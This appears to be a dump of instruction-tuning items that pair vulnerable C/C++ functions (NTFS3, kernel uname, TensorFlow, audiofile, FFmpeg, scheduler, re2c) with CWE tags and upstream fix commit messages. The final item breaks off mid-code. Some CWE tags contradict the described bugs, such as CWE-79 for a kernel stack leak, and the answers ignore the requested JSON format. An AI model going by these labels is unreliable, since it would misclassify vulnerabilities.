text
stringlengths
478
227k
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static int log_read_rst(struct ntfs_log *log, u32 l_size, bool first, struct restart_info *info) { u32 skip, vbo; struct RESTART_HDR *r_page = kmalloc(DefaultLogPageSize, GFP_NOFS); if (!r_page) return -ENOMEM; memset(info, 0, sizeof(struct restart_info)); /* Determine which restart area we are looking for. */ if (first) { vbo = 0; skip = 512; } else { vbo = 512; skip = 0; } /* Loop continuously until we succeed. */ for (; vbo < l_size; vbo = 2 * vbo + skip, skip = 0) { bool usa_error; u32 sys_page_size; bool brst, bchk; struct RESTART_AREA *ra; /* Read a page header at the current offset. */ if (read_log_page(log, vbo, (struct RECORD_PAGE_HDR **)&r_page, &usa_error)) { /* Ignore any errors. */ continue; } /* Exit if the signature is a log record page. */ if (r_page->rhdr.sign == NTFS_RCRD_SIGNATURE) { info->initialized = true; break; } brst = r_page->rhdr.sign == NTFS_RSTR_SIGNATURE; bchk = r_page->rhdr.sign == NTFS_CHKD_SIGNATURE; if (!bchk && !brst) { if (r_page->rhdr.sign != NTFS_FFFF_SIGNATURE) { /* * Remember if the signature does not * indicate uninitialized file. */ info->initialized = true; } continue; } ra = NULL; info->valid_page = false; info->initialized = true; info->vbo = vbo; /* Let's check the restart area if this is a valid page. */ if (!is_rst_page_hdr_valid(vbo, r_page)) goto check_result; ra = Add2Ptr(r_page, le16_to_cpu(r_page->ra_off)); if (!is_rst_area_valid(r_page)) goto check_result; /* * We have a valid restart page header and restart area. * If chkdsk was run or we have no clients then we have * no more checking to do. */ if (bchk || ra->client_idx[1] == LFS_NO_CLIENT_LE) { info->valid_page = true; goto check_result; } /* Read the entire restart area. */ sys_page_size = le32_to_cpu(r_page->sys_page_size); if (DefaultLogPageSize != sys_page_size) { kfree(r_page); r_page = kzalloc(sys_page_size, GFP_NOFS); if (!r_page) return -ENOMEM; if (read_log_page(log, vbo, (struct RECORD_PAGE_HDR **)&r_page, &usa_error)) { /* Ignore any errors. */ kfree(r_page); r_page = NULL; continue; } } if (is_client_area_valid(r_page, usa_error)) { info->valid_page = true; ra = Add2Ptr(r_page, le16_to_cpu(r_page->ra_off)); } check_result: /* * If chkdsk was run then update the caller's * values and return. */ if (r_page->rhdr.sign == NTFS_CHKD_SIGNATURE) { info->chkdsk_was_run = true; info->last_lsn = le64_to_cpu(r_page->rhdr.lsn); info->restart = true; info->r_page = r_page; return 0; } /* * If we have a valid page then copy the values * we need from it. */ if (info->valid_page) { info->last_lsn = le64_to_cpu(ra->current_lsn); info->restart = true; info->r_page = r_page; return 0; } } kfree(r_page); return 0; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-416'], 'message': 'fs/ntfs3: Fix invalid free in log_replay log_read_rst() returns ENOMEM error when there is not enough memory. In this case, if info is returned without initialization, it attempts to kfree the uninitialized info->r_page pointer. This patch moves the memset initialization code to before log_read_rst() is called. Reported-by: Gerald Lee <sundaywind2004@gmail.com> Signed-off-by: Namjae Jeon <linkinjeon@kernel.org> Signed-off-by: Konstantin Komarov <almaz.alexandrovich@paragon-software.com>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static int override_release(char __user *release, int len) { int ret = 0; char buf[65]; if (current->personality & UNAME26) { char *rest = UTS_RELEASE; int ndots = 0; unsigned v; while (*rest) { if (*rest == '.' && ++ndots >= 3) break; if (!isdigit(*rest) && *rest != '.') break; rest++; } v = ((LINUX_VERSION_CODE >> 8) & 0xff) + 40; snprintf(buf, len, "2.6.%u%s", v, rest); ret = copy_to_user(release, buf, len); } return ret; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-16', 'CWE-79'], 'message': 'kernel/sys.c: fix stack memory content leak via UNAME26 Calling uname() with the UNAME26 personality set allows a leak of kernel stack contents. This fixes it by defensively calculating the length of copy_to_user() call, making the len argument unsigned, and initializing the stack buffer to zero (now technically unneeded, but hey, overkill). CVE-2012-0957 Reported-by: PaX Team <pageexec@freemail.hu> Signed-off-by: Kees Cook <keescook@chromium.org> Cc: Andi Kleen <ak@linux.intel.com> Cc: PaX Team <pageexec@freemail.hu> Cc: Brad Spengler <spender@grsecurity.net> Cc: <stable@vger.kernel.org> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void CalculateOutputIndexValueRowID( OpKernelContext* context, const RowPartitionTensor& value_rowids, const vector<INDEX_TYPE>& parent_output_index, INDEX_TYPE output_index_multiplier, INDEX_TYPE output_size, vector<INDEX_TYPE>* result) { const INDEX_TYPE index_size = value_rowids.size(); result->reserve(index_size); if (index_size == 0) { return; } INDEX_TYPE current_output_column = 0; INDEX_TYPE current_value_rowid = value_rowids(0); DCHECK_LT(current_value_rowid, parent_output_index.size()); INDEX_TYPE current_output_index = parent_output_index[current_value_rowid]; result->push_back(current_output_index); for (INDEX_TYPE i = 1; i < index_size; ++i) { INDEX_TYPE next_value_rowid = value_rowids(i); if (next_value_rowid == current_value_rowid) { if (current_output_index >= 0) { ++current_output_column; if (current_output_column < output_size) { current_output_index += output_index_multiplier; } else { current_output_index = -1; } } } else { current_output_column = 0; current_value_rowid = next_value_rowid; DCHECK_LT(next_value_rowid, parent_output_index.size()); current_output_index = parent_output_index[next_value_rowid]; } result->push_back(current_output_index); } OP_REQUIRES(context, result->size() == value_rowids.size(), errors::InvalidArgument("Invalid row ids.")); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-131', 'CWE-787'], 'message': 'Fix heap OOB / undefined behavior in `RaggedTensorToTensor` PiperOrigin-RevId: 373244623 Change-Id: I2d6cbbc8c67b238a8815bf58097f7586d87c54f2'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: status WAVEFile::parseFormat(const Tag &id, uint32_t size) { Track *track = getTrack(); uint16_t formatTag; readU16(&formatTag); uint16_t channelCount; readU16(&channelCount); uint32_t sampleRate; readU32(&sampleRate); uint32_t averageBytesPerSecond; readU32(&averageBytesPerSecond); uint16_t blockAlign; readU16(&blockAlign); if (!channelCount) { _af_error(AF_BAD_CHANNELS, "invalid file with 0 channels"); return AF_FAIL; } track->f.channelCount = channelCount; track->f.sampleRate = sampleRate; track->f.byteOrder = AF_BYTEORDER_LITTLEENDIAN; /* Default to uncompressed audio data. */ track->f.compressionType = AF_COMPRESSION_NONE; track->f.framesPerPacket = 1; switch (formatTag) { case WAVE_FORMAT_PCM: { uint16_t bitsPerSample; readU16(&bitsPerSample); track->f.sampleWidth = bitsPerSample; if (bitsPerSample == 0 || bitsPerSample > 32) { _af_error(AF_BAD_WIDTH, "bad sample width of %d bits", bitsPerSample); return AF_FAIL; } if (bitsPerSample <= 8) track->f.sampleFormat = AF_SAMPFMT_UNSIGNED; else track->f.sampleFormat = AF_SAMPFMT_TWOSCOMP; } break; case WAVE_FORMAT_MULAW: case IBM_FORMAT_MULAW: track->f.sampleWidth = 16; track->f.sampleFormat = AF_SAMPFMT_TWOSCOMP; track->f.byteOrder = _AF_BYTEORDER_NATIVE; track->f.compressionType = AF_COMPRESSION_G711_ULAW; track->f.bytesPerPacket = track->f.channelCount; break; case WAVE_FORMAT_ALAW: case IBM_FORMAT_ALAW: track->f.sampleWidth = 16; track->f.sampleFormat = AF_SAMPFMT_TWOSCOMP; track->f.byteOrder = _AF_BYTEORDER_NATIVE; track->f.compressionType = AF_COMPRESSION_G711_ALAW; track->f.bytesPerPacket = track->f.channelCount; break; case WAVE_FORMAT_IEEE_FLOAT: { uint16_t bitsPerSample; readU16(&bitsPerSample); if (bitsPerSample == 64) { track->f.sampleWidth = 64; track->f.sampleFormat = AF_SAMPFMT_DOUBLE; } else { track->f.sampleWidth = 32; track->f.sampleFormat = AF_SAMPFMT_FLOAT; } } break; case WAVE_FORMAT_ADPCM: { uint16_t bitsPerSample, extraByteCount, samplesPerBlock, numCoefficients; if (track->f.channelCount != 1 && track->f.channelCount != 2) { _af_error(AF_BAD_CHANNELS, "WAVE file with MS ADPCM compression " "must have 1 or 2 channels"); } readU16(&bitsPerSample); readU16(&extraByteCount); readU16(&samplesPerBlock); readU16(&numCoefficients); /* numCoefficients should be at least 7. */ assert(numCoefficients >= 7 && numCoefficients <= 255); m_msadpcmNumCoefficients = numCoefficients; for (int i=0; i<m_msadpcmNumCoefficients; i++) { readS16(&m_msadpcmCoefficients[i][0]); readS16(&m_msadpcmCoefficients[i][1]); } track->f.sampleWidth = 16; track->f.sampleFormat = AF_SAMPFMT_TWOSCOMP; track->f.compressionType = AF_COMPRESSION_MS_ADPCM; track->f.byteOrder = _AF_BYTEORDER_NATIVE; track->f.framesPerPacket = samplesPerBlock; track->f.bytesPerPacket = blockAlign; // Create the parameter list. AUpvlist pv = AUpvnew(2); AUpvsetparam(pv, 0, _AF_MS_ADPCM_NUM_COEFFICIENTS); AUpvsetvaltype(pv, 0, AU_PVTYPE_LONG); long l = m_msadpcmNumCoefficients; AUpvsetval(pv, 0, &l); AUpvsetparam(pv, 1, _AF_MS_ADPCM_COEFFICIENTS); AUpvsetvaltype(pv, 1, AU_PVTYPE_PTR); void *v = m_msadpcmCoefficients; AUpvsetval(pv, 1, &v); track->f.compressionParams = pv; } break; case WAVE_FORMAT_DVI_ADPCM: { uint16_t bitsPerSample, extraByteCount, samplesPerBlock; readU16(&bitsPerSample); readU16(&extraByteCount); readU16(&samplesPerBlock); if (bitsPerSample != 4) { _af_error(AF_BAD_NOT_IMPLEMENTED, "IMA ADPCM compression supports only 4 bits per sample"); } int bytesPerBlock = (samplesPerBlock + 14) / 8 * 4 * channelCount; if (bytesPerBlock > blockAlign || (samplesPerBlock % 8) != 1) { _af_error(AF_BAD_CODEC_CONFIG, "Invalid samples per block for IMA ADPCM compression"); } track->f.sampleWidth = 16; track->f.sampleFormat = AF_SAMPFMT_TWOSCOMP; track->f.compressionType = AF_COMPRESSION_IMA; track->f.byteOrder = _AF_BYTEORDER_NATIVE; initIMACompressionParams(); track->f.framesPerPacket = samplesPerBlock; track->f.bytesPerPacket = blockAlign; } break; case WAVE_FORMAT_EXTENSIBLE: { uint16_t bitsPerSample; readU16(&bitsPerSample); uint16_t extraByteCount; readU16(&extraByteCount); uint16_t reserved; readU16(&reserved); uint32_t channelMask; readU32(&channelMask); UUID subformat; readUUID(&subformat); if (subformat == _af_wave_guid_pcm) { track->f.sampleWidth = bitsPerSample; if (bitsPerSample == 0 || bitsPerSample > 32) { _af_error(AF_BAD_WIDTH, "bad sample width of %d bits", bitsPerSample); return AF_FAIL; } // Use valid bits per sample if bytes per sample is the same. if (reserved <= bitsPerSample && (reserved + 7) / 8 == (bitsPerSample + 7) / 8) track->f.sampleWidth = reserved; if (bitsPerSample <= 8) track->f.sampleFormat = AF_SAMPFMT_UNSIGNED; else track->f.sampleFormat = AF_SAMPFMT_TWOSCOMP; } else if (subformat == _af_wave_guid_ieee_float) { if (bitsPerSample == 64) { track->f.sampleWidth = 64; track->f.sampleFormat = AF_SAMPFMT_DOUBLE; } else { track->f.sampleWidth = 32; track->f.sampleFormat = AF_SAMPFMT_FLOAT; } } else if (subformat == _af_wave_guid_alaw || subformat == _af_wave_guid_ulaw) { track->f.compressionType = subformat == _af_wave_guid_alaw ? AF_COMPRESSION_G711_ALAW : AF_COMPRESSION_G711_ULAW; track->f.sampleWidth = 16; track->f.sampleFormat = AF_SAMPFMT_TWOSCOMP; track->f.byteOrder = _AF_BYTEORDER_NATIVE; track->f.bytesPerPacket = channelCount; } else { _af_error(AF_BAD_NOT_IMPLEMENTED, "WAVE extensible data format %s is not currently supported", subformat.name().c_str()); return AF_FAIL; } } break; case WAVE_FORMAT_YAMAHA_ADPCM: case WAVE_FORMAT_OKI_ADPCM: case WAVE_FORMAT_CREATIVE_ADPCM: case IBM_FORMAT_ADPCM: _af_error(AF_BAD_NOT_IMPLEMENTED, "WAVE ADPCM data format 0x%x is not currently supported", formatTag); return AF_FAIL; break; case WAVE_FORMAT_MPEG: _af_error(AF_BAD_NOT_IMPLEMENTED, "WAVE MPEG data format is not supported"); return AF_FAIL; break; case WAVE_FORMAT_MPEGLAYER3: _af_error(AF_BAD_NOT_IMPLEMENTED, "WAVE MPEG layer 3 data format is not supported"); return AF_FAIL; break; default: _af_error(AF_BAD_NOT_IMPLEMENTED, "WAVE file data format 0x%x not currently supported != 0xfffe ? %d, != EXTENSIBLE? %d", formatTag, formatTag != 0xfffe, formatTag != WAVE_FORMAT_EXTENSIBLE); return AF_FAIL; break; } if (track->f.isUncompressed()) track->f.computeBytesPerPacketPCM(); _af_set_sample_format(&track->f, track->f.sampleFormat, track->f.sampleWidth); return AF_SUCCEED; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-119', 'CWE-284'], 'message': 'Actually fail when error occurs in parseFormat When there's an unsupported number of bits per sample or an invalid number of samples per block, don't only print an error message using the error handler, but actually stop parsing the file. This fixes #35 (also reported at https://bugzilla.opensuse.org/show_bug.cgi?id=1026983 and https://blogs.gentoo.org/ago/2017/02/20/audiofile-heap-based-buffer-overflow-in-imadecodeblockwave-ima-cpp/ )'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static int handle_eac3(MOVMuxContext *mov, AVPacket *pkt, MOVTrack *track) { AC3HeaderInfo *hdr = NULL; struct eac3_info *info; int num_blocks, ret; if (!track->eac3_priv && !(track->eac3_priv = av_mallocz(sizeof(*info)))) return AVERROR(ENOMEM); info = track->eac3_priv; if (avpriv_ac3_parse_header(&hdr, pkt->data, pkt->size) < 0) { /* drop the packets until we see a good one */ if (!track->entry) { av_log(mov, AV_LOG_WARNING, "Dropping invalid packet from start of the stream\n"); ret = 0; } else ret = AVERROR_INVALIDDATA; goto end; } info->data_rate = FFMAX(info->data_rate, hdr->bit_rate / 1000); num_blocks = hdr->num_blocks; if (!info->ec3_done) { /* AC-3 substream must be the first one */ if (hdr->bitstream_id <= 10 && hdr->substreamid != 0) { ret = AVERROR(EINVAL); goto end; } /* this should always be the case, given that our AC-3 parser * concatenates dependent frames to their independent parent */ if (hdr->frame_type == EAC3_FRAME_TYPE_INDEPENDENT) { /* substream ids must be incremental */ if (hdr->substreamid > info->num_ind_sub + 1) { ret = AVERROR(EINVAL); goto end; } if (hdr->substreamid == info->num_ind_sub + 1) { //info->num_ind_sub++; avpriv_request_sample(track->par, "Multiple independent substreams"); ret = AVERROR_PATCHWELCOME; goto end; } else if (hdr->substreamid < info->num_ind_sub || hdr->substreamid == 0 && info->substream[0].bsid) { info->ec3_done = 1; goto concatenate; } } else { if (hdr->substreamid != 0) { avpriv_request_sample(mov->fc, "Multiple non EAC3 independent substreams"); ret = AVERROR_PATCHWELCOME; goto end; } } /* fill the info needed for the "dec3" atom */ info->substream[hdr->substreamid].fscod = hdr->sr_code; info->substream[hdr->substreamid].bsid = hdr->bitstream_id; info->substream[hdr->substreamid].bsmod = hdr->bitstream_mode; info->substream[hdr->substreamid].acmod = hdr->channel_mode; info->substream[hdr->substreamid].lfeon = hdr->lfe_on; /* Parse dependent substream(s), if any */ if (pkt->size != hdr->frame_size) { int cumul_size = hdr->frame_size; int parent = hdr->substreamid; while (cumul_size != pkt->size) { GetBitContext gbc; int i; ret = avpriv_ac3_parse_header(&hdr, pkt->data + cumul_size, pkt->size - cumul_size); if (ret < 0) goto end; if (hdr->frame_type != EAC3_FRAME_TYPE_DEPENDENT) { ret = AVERROR(EINVAL); goto end; } info->substream[parent].num_dep_sub++; ret /= 8; /* header is parsed up to lfeon, but custom channel map may be needed */ init_get_bits8(&gbc, pkt->data + cumul_size + ret, pkt->size - cumul_size - ret); /* skip bsid */ skip_bits(&gbc, 5); /* skip volume control params */ for (i = 0; i < (hdr->channel_mode ? 1 : 2); i++) { skip_bits(&gbc, 5); // skip dialog normalization if (get_bits1(&gbc)) { skip_bits(&gbc, 8); // skip compression gain word } } /* get the dependent stream channel map, if exists */ if (get_bits1(&gbc)) info->substream[parent].chan_loc |= (get_bits(&gbc, 16) >> 5) & 0x1f; else info->substream[parent].chan_loc |= hdr->channel_mode; cumul_size += hdr->frame_size; } } } concatenate: if (!info->num_blocks && num_blocks == 6) { ret = pkt->size; goto end; } else if (info->num_blocks + num_blocks > 6) { ret = AVERROR_INVALIDDATA; goto end; } if (!info->num_blocks) { ret = av_packet_ref(&info->pkt, pkt); if (!ret) info->num_blocks = num_blocks; goto end; } else { if ((ret = av_grow_packet(&info->pkt, pkt->size)) < 0) goto end; memcpy(info->pkt.data + info->pkt.size - pkt->size, pkt->data, pkt->size); info->num_blocks += num_blocks; info->pkt.duration += pkt->duration; if ((ret = av_copy_packet_side_data(&info->pkt, pkt)) < 0) goto end; if (info->num_blocks != 6) goto end; av_packet_unref(pkt); av_packet_move_ref(pkt, &info->pkt); info->num_blocks = 0; } ret = pkt->size; end: av_free(hdr); return ret; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-125'], 'message': 'avformat/movenc: Do not pass AVCodecParameters in avpriv_request_sample Fixes: out of array read Fixes: ffmpeg_crash_8.avi Found-by: Thuan Pham, Marcel Böhme, Andrew Santosa and Alexandru Razvan Caciulescu with AFLSmart Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: asmlinkage void __sched schedule(void) { struct task_struct *prev, *next; unsigned long *switch_count; struct rq *rq; int cpu; need_resched: preempt_disable(); cpu = smp_processor_id(); rq = cpu_rq(cpu); rcu_note_context_switch(cpu); prev = rq->curr; release_kernel_lock(prev); need_resched_nonpreemptible: schedule_debug(prev); if (sched_feat(HRTICK)) hrtick_clear(rq); raw_spin_lock_irq(&rq->lock); clear_tsk_need_resched(prev); switch_count = &prev->nivcsw; if (prev->state && !(preempt_count() & PREEMPT_ACTIVE)) { if (unlikely(signal_pending_state(prev->state, prev))) { prev->state = TASK_RUNNING; } else { /* * If a worker is going to sleep, notify and * ask workqueue whether it wants to wake up a * task to maintain concurrency. If so, wake * up the task. */ if (prev->flags & PF_WQ_WORKER) { struct task_struct *to_wakeup; to_wakeup = wq_worker_sleeping(prev, cpu); if (to_wakeup) try_to_wake_up_local(to_wakeup); } deactivate_task(rq, prev, DEQUEUE_SLEEP); } switch_count = &prev->nvcsw; } pre_schedule(rq, prev); if (unlikely(!rq->nr_running)) idle_balance(cpu, rq); put_prev_task(rq, prev); next = pick_next_task(rq); if (likely(prev != next)) { sched_info_switch(prev, next); perf_event_task_sched_out(prev, next); rq->nr_switches++; rq->curr = next; ++*switch_count; context_switch(rq, prev, next); /* unlocks the rq */ /* * The context switch have flipped the stack from under us * and restored the local variables which were saved when * this task called schedule() in the past. prev == current * is still correct, but it can be moved to another cpu/rq. */ cpu = smp_processor_id(); rq = cpu_rq(cpu); } else raw_spin_unlock_irq(&rq->lock); post_schedule(rq); if (unlikely(reacquire_kernel_lock(prev))) goto need_resched_nonpreemptible; preempt_enable_no_resched(); if (need_resched()) goto need_resched; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-703', 'CWE-835'], 'message': 'Sched: fix skip_clock_update optimization idle_balance() drops/retakes rq->lock, leaving the previous task vulnerable to set_tsk_need_resched(). Clear it after we return from balancing instead, and in setup_thread_stack() as well, so no successfully descheduled or never scheduled task has it set. Need resched confused the skip_clock_update logic, which assumes that the next call to update_rq_clock() will come nearly immediately after being set. Make the optimization robust against the waking a sleeper before it sucessfully deschedules case by checking that the current task has not been dequeued before setting the flag, since it is that useless clock update we're trying to save, and clear unconditionally in schedule() proper instead of conditionally in put_prev_task(). Signed-off-by: Mike Galbraith <efault@gmx.de> Reported-by: Bjoern B. Brandenburg <bbb.lst@gmail.com> Tested-by: Yong Zhang <yong.zhang0@gmail.com> Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Cc: stable@kernel.org LKML-Reference: <1291802742.1417.9.camel@marge.simson.net> Signed-off-by: Ingo Molnar <mingo@elte.hu>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: InputBlockKind Scanner::echo(Output &out, std::string &block_name) { const opt_t *opts = out.block().opts; code_alc_t &alc = out.allocator; const char *x, *y; if (is_eof()) return INPUT_END; next: tok = cur; loop: location = cur_loc(); ptr = cur; #line 55 "src/parse/lex.cc" { unsigned char yych; unsigned int yyaccept = 0; static const unsigned char yybm[] = { 0, 128, 128, 128, 128, 128, 128, 128, 128, 160, 0, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 160, 128, 0, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 0, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, }; if ((lim - cur) < 18) { if (!fill(18)) { error("unexpected end of input"); exit(1); } } yych = (unsigned char)*cur; if (yych <= '\r') { if (yych <= '\t') { if (yych <= 0x00) goto yy2; if (yych <= 0x08) goto yy4; goto yy6; } else { if (yych <= '\n') goto yy7; if (yych <= '\f') goto yy4; goto yy9; } } else { if (yych <= '$') { if (yych == ' ') goto yy6; goto yy4; } else { if (yych <= '%') goto yy10; if (yych == '/') goto yy11; goto yy4; } } yy2: ++cur; #line 273 "../src/parse/lex.re" { if (is_eof()) { out.wraw(tok, ptr); return INPUT_END; } goto loop; } #line 125 "src/parse/lex.cc" yy4: ++cur; yy5: #line 293 "../src/parse/lex.re" { goto loop; } #line 131 "src/parse/lex.cc" yy6: yyaccept = 0; yych = (unsigned char)*(mar = ++cur); if (yybm[0+yych] & 32) { goto yy12; } if (yych == '%') goto yy15; goto yy5; yy7: yyaccept = 1; yych = (unsigned char)*(mar = ++cur); if (yych <= 0x1F) { if (yych == '\t') goto yy16; } else { if (yych <= ' ') goto yy16; if (yych == '#') goto yy18; } yy8: #line 288 "../src/parse/lex.re" { next_line(); goto loop; } #line 155 "src/parse/lex.cc" yy9: yych = (unsigned char)*++cur; if (yych == '\n') goto yy7; goto yy5; yy10: yych = (unsigned char)*++cur; if (yych == '{') goto yy20; goto yy5; yy11: yyaccept = 0; yych = (unsigned char)*(mar = ++cur); if (yych == '*') goto yy22; goto yy5; yy12: ++cur; if ((lim - cur) < 2) { if (!fill(2)) { error("unexpected end of input"); exit(1); } } yych = (unsigned char)*cur; if (yybm[0+yych] & 32) { goto yy12; } if (yych == '%') goto yy15; yy14: cur = mar; if (yyaccept <= 2) { if (yyaccept <= 1) { if (yyaccept == 0) { goto yy5; } else { goto yy8; } } else { goto yy173; } } else { if (yyaccept == 3) { goto yy175; } else { goto yy184; } } yy15: yych = (unsigned char)*++cur; if (yych == '{') goto yy20; goto yy14; yy16: ++cur; if (lim <= cur) { if (!fill(1)) { error("unexpected end of input"); exit(1); } } yych = (unsigned char)*cur; if (yych <= 0x1F) { if (yych == '\t') goto yy16; goto yy14; } else { if (yych <= ' ') goto yy16; if (yych != '#') goto yy14; } yy18: ++cur; if ((lim - cur) < 5) { if (!fill(5)) { error("unexpected end of input"); exit(1); } } yych = (unsigned char)*cur; if (yych <= 0x1F) { if (yych == '\t') goto yy18; goto yy14; } else { if (yych <= ' ') goto yy18; if (yych == 'l') goto yy23; goto yy14; } yy20: ++cur; #line 139 "../src/parse/lex.re" { if (pos != ptr) { // re2c does not parse user-defined code outside of re2c blocks, therefore it // can confuse `%{` in the middle of a string or a comment with a block start. // To avoid this recognize `%{` as a block start only on a new line, possibly // preceded by whitespaces. goto loop; } out.wraw(tok, ptr); block_name.clear(); return INPUT_GLOBAL; } #line 238 "src/parse/lex.cc" yy22: yych = (unsigned char)*++cur; if (yych == '!') goto yy24; goto yy14; yy23: yych = (unsigned char)*++cur; if (yych == 'i') goto yy25; goto yy14; yy24: yych = (unsigned char)*++cur; switch (yych) { case 'c': goto yy26; case 'g': goto yy27; case 'h': goto yy28; case 'i': goto yy29; case 'l': goto yy30; case 'm': goto yy31; case 'r': goto yy32; case 's': goto yy33; case 't': goto yy34; case 'u': goto yy35; default: goto yy14; } yy25: yych = (unsigned char)*++cur; if (yych == 'n') goto yy36; goto yy14; yy26: yych = (unsigned char)*++cur; if (yych == 'o') goto yy37; goto yy14; yy27: yych = (unsigned char)*++cur; if (yych == 'e') goto yy38; goto yy14; yy28: yych = (unsigned char)*++cur; if (yych == 'e') goto yy39; goto yy14; yy29: yych = (unsigned char)*++cur; if (yych == 'g') goto yy40; if (yych == 'n') goto yy41; goto yy14; yy30: yych = (unsigned char)*++cur; if (yych == 'o') goto yy42; goto yy14; yy31: yych = (unsigned char)*++cur; if (yych == 'a') goto yy43; if (yych == 't') goto yy44; goto yy14; yy32: yych = (unsigned char)*++cur; if (yych == 'e') goto yy45; if (yych == 'u') goto yy46; goto yy14; yy33: yych = (unsigned char)*++cur; if (yych == 't') goto yy47; goto yy14; yy34: yych = (unsigned char)*++cur; if (yych == 'y') goto yy48; goto yy14; yy35: yych = (unsigned char)*++cur; if (yych == 's') goto yy49; goto yy14; yy36: yych = (unsigned char)*++cur; if (yych == 'e') goto yy50; goto yy14; yy37: yych = (unsigned char)*++cur; if (yych == 'n') goto yy51; goto yy14; yy38: yych = (unsigned char)*++cur; if (yych == 't') goto yy52; goto yy14; yy39: yych = (unsigned char)*++cur; if (yych == 'a') goto yy53; goto yy14; yy40: yych = (unsigned char)*++cur; if (yych == 'n') goto yy54; goto yy14; yy41: yych = (unsigned char)*++cur; if (yych == 'c') goto yy55; goto yy14; yy42: yych = (unsigned char)*++cur; if (yych == 'c') goto yy56; goto yy14; yy43: yych = (unsigned char)*++cur; if (yych == 'x') goto yy57; goto yy14; yy44: yych = (unsigned char)*++cur; if (yych == 'a') goto yy58; goto yy14; yy45: yych = (unsigned char)*++cur; if (yych == '2') goto yy59; goto yy14; yy46: yych = (unsigned char)*++cur; if (yych == 'l') goto yy60; goto yy14; yy47: yych = (unsigned char)*++cur; if (yych == 'a') goto yy61; goto yy14; yy48: yych = (unsigned char)*++cur; if (yych == 'p') goto yy62; goto yy14; yy49: yych = (unsigned char)*++cur; if (yych == 'e') goto yy63; goto yy14; yy50: yych = (unsigned char)*++cur; if (yych <= '0') goto yy65; if (yych <= '9') goto yy14; goto yy65; yy51: yych = (unsigned char)*++cur; if (yych == 'd') goto yy66; goto yy14; yy52: yych = (unsigned char)*++cur; if (yych == 's') goto yy67; goto yy14; yy53: yych = (unsigned char)*++cur; if (yych == 'd') goto yy68; goto yy14; yy54: yych = (unsigned char)*++cur; if (yych == 'o') goto yy69; goto yy14; yy55: yych = (unsigned char)*++cur; if (yych == 'l') goto yy70; goto yy14; yy56: yych = (unsigned char)*++cur; if (yych == 'a') goto yy71; goto yy14; yy57: yych = (unsigned char)*++cur; if (yych == ':') goto yy72; if (yych == 'n') goto yy73; goto yy14; yy58: yych = (unsigned char)*++cur; if (yych == 'g') goto yy74; goto yy14; yy59: yych = (unsigned char)*++cur; if (yych == 'c') goto yy75; goto yy14; yy60: yych = (unsigned char)*++cur; if (yych == 'e') goto yy77; goto yy14; yy61: yych = (unsigned char)*++cur; if (yych == 'g') goto yy78; goto yy14; yy62: yych = (unsigned char)*++cur; if (yych == 'e') goto yy79; goto yy14; yy63: yych = (unsigned char)*++cur; if (yych == ':') goto yy80; goto yy14; yy64: ++cur; if (lim <= cur) { if (!fill(1)) { error("unexpected end of input"); exit(1); } } yych = (unsigned char)*cur; yy65: if (yych <= 0x1F) { if (yych == '\t') goto yy64; goto yy14; } else { if (yych <= ' ') goto yy64; if (yych <= '0') goto yy14; if (yych <= '9') { yyt1 = cur; goto yy81; } goto yy14; } yy66: yych = (unsigned char)*++cur; if (yych == 'i') goto yy83; goto yy14; yy67: yych = 